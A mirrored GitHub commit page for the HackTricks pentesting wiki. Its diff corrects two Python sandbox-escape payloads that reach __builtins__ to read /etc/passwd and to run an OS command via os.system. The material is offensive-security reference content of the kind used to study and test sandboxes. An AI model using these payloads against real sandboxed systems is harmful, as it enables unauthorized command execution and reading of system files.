mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3652] No subject
This commit is contained in:
parent
d390f60bd4
commit
1db169095d
1 changed files with 2 additions and 2 deletions
|
@ -396,8 +396,8 @@ __builtins__["__import__"]('os').system('ls')
|
|||
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
.open("/etc/passwd").read()
|
||||
.__import__("os").system("ls")
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
__builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue